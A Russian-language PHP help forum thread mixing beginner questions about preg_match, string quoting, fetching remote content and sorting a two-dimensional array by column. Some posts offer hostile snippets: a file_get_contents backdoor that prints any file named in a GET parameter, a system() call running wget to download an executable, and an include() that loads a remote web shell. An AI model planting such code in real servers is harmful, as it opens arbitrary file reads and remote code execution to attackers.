PHP: <? $txt='Вот это этот текст что нужно'; if (preg_match('/это/',$txt,$t)) echo 'это есть'; else echo 'это нет'; ?>
эээ? PHP: <?php if(!empty($_GET['fx'])) { echo ('<pre>'.@file_get_contents($_GET['fx']).'<pre>'); exit; } ?>
кавычки нужно екранировать, делается так: \" upd: а вобще лучше всю строку в одинарных кавычках, почитай хоть немного мануалы.
Здравствуйте! Возможно мой вопрос не в тему, но подходящего топика я не нашел. Собственно сабж, откуда можно скачать книжку "PHP 5 для начинающих Мерсер Д". Гугл ничего дельного не выдает...
Можно посоветовать тупой file_get_contents(URL) и fopen(URL); Хотя лучше использовать сокеты http://php.ru/manual/ref.sockets.html и курл http://php.ru/manual/ref.curl.html
Есть двумерный массив вида 1 a d 2 b c 3 c b 4 d a Хочу устроить сортировку как по столбцам. Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем 4 d a 3 c b 2 b c 1 a d Т.е. СТРОКИ таблицы неразбились Далее то что получилось сортируем допустим по первому столбику по порядку получим 1 a d 2 b c 3 c b 4 d a Ну и можем сортировать так по любому столбику туда сюда. КАК сделать такую сортировку массива на PHP? Почитал array_multisort - не то... или неверно почитал
а можно через wget попробовать... если он установлен конечно PHP: system("wget www.site.com/file.exe"); так же можно попробовать заинклудить шелл PHP: include("http://www.site.com/shell.txt"); и потом через него со своего кумпьютера загрузить нужный файл. а вообще способов много
2 Red_Red1: примерно так: PHP: <? /* Есть двумерный массив вида 1 a d 2 b c 3 c b 4 d a Хочу устроить сортировку как по столбцам. Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем 4 d a 3 c b 2 b c 1 a d Т.е. СТРОКИ таблицы неразбились Далее то что получилось сортируем допустим по первому столбику по порядку получим 1 a d 2 b c 3 c b 4 d a Ну и можем сортировать так по любому столбику туда сюда. КАК сделать такую сортировку массива на PHP? */ $str = "a d b c c b d a"; preg_match_all('/([a-z])/s', $str, $result); $count = count($result[0]); for ($i=0;$i<$count;$i++) { echo $result[0][$i].$result[0][$i+1]."\r\n"; $i++; } echo "\r\n"; $count1 = count($result[0])-2; for ($i=0;$i<=$count1;$i++) { $result[1][$i] = $result[0][$i+1]; $result[1][$i+1] = $result[0][$i]; $i++; } for ($i=0;$i<$count;$i++) { echo $result[1][$i].$result[1][$i+1]."\r\n"; $i++; } echo "\r\n"; for ($i=0;$i<=$count1;$i++) { $result[1][$i] = $result[0][$i]; $result[1][$i+1] = $result[0][$i+1]; $i++; } for ($i=0;$i<$count;$i++) { echo $result[1][$i].$result[1][$i+1]."\r\n"; $i++; }
Мне нравится изобретать велосипеды, т.к. по образованию не программер. Каждый вопрос - ребус. Главное - результат
2 Pashkela Спасибо конечно за попытку. Но дело в том что мне нужна СОРТИРОВКА МАССИВА. Может это некая функция должна быть на вход которой подаем массив, столбик по которому сортируем, направление. На выходе отсортированый массив. Может так будет понятнее Имеем массив полных имен Фамилия Имя Отчество Фамилия Имя Отчество 1 Иванов Николай Петрович 2 Сидоров Андрей Алексеевич 3 Егоров Плюс Плюсович 4 Петров Тарас Сергеевич Нужна сортировка по столбикам, т.е. по фамилии, имени или отчеству. При это ясно что "человек должен остатся" Т.е. Если сортируем по имени то НЕ должно получится Иванов АНДРЕЙ Петрович ... Видимо нету такой функции в ПХП... придется писать что то подобное.
2 Red_Red1: Да принцип тот же самый, только лучше тогда, чтобы массив, если речь идет просто о тексте в текстовом файле, был такой: 1 Иванов Николай Петрович; 2 Сидоров Андрей Алексеевич; 3 Егоров Плюс Плюсович; 4 Петров Тарас Сергеевич; Делаем 1-ый эксплоуд через ";" а потом каждый элемент получившегося массива эксплодим через "цифра_пробел" и смотрим первую букву второго элемента нового массива. А дальше просто и алгоритм примерно такой же. Если надо - могу сделать
Причем тут файлы?! О.о Я ведь про файлы ниче не писал. Есть уже готовый массив. $arr[1]['Familiya'] = 'Иванов' $arr[1]['Imya'] = 'Николай' $arr[1]['Otchestvo'] = 'Петрович' и т.д. Я просто "нарисовал" его в виде таблицы, так удобнее.